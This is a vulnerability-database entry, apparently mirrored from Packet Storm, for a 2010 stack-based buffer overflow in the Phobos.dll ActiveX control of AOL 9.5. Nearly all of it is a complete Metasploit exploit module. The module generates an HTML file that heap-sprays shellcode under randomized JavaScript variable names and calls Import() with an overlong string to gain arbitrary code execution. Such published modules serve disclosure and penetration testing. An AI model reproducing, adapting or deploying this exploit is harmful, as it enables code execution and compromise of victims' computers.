AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

🗓️ 26 Jan 2010 00:00:00Reported by TrancerType

packetstorm🔗 packetstormsecurity.com👁 25 Views

AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow in Phobos.dll of AOL 9.5. Exploit allows arbitrary code execution

`##  
# aol_phobos_bof.rb  
#  
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework  
#  
# Tested successfully on the following platforms:  
# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3  
#  
# Phobos.dll version tested:  
# File Version: 9.5.0.1  
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C  
# RegKey Safe for Script: False  
# RegKey Safe for Init: False  
# Implements IObjectSafety: False  
# KillBitSet: False  
#  
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,   
# exploitation is possible only from Local Machine Zone, which means the victim must run the   
# generated exploit file locally.  
#  
# Trancer  
# http://www.rec-sec.com  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.  
By setting an overly long value to 'Import()', an attacker can overrun a buffer   
and execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [   
'Trancer <mtrancer[at]gmail.com>'  
],   
'Version' => '$Revision:$',  
'References' =>   
[  
[ 'URL', 'http://www.exploit-db.com/exploits/11204' ],  
[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",   
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]   
],  
'DisclosureDate' => 'Jan 20 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),  
], self.class)  
end  
  
def exploit  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 500   
offset = target['Offset']  
  
# Randomize the javascript variable names  
phobos = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_bla = rand_text_alpha(rand(8) + 4)  
  
html = %Q|<html>   
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>  
<script>  
#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
  
var #{j_ret}='';  
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');  
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');  
</script>   
</html>|  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(html)  
end  
  
end  
`

26 Jan 2010 00:00Current

0.1Low risk

Vulners AI Score0.1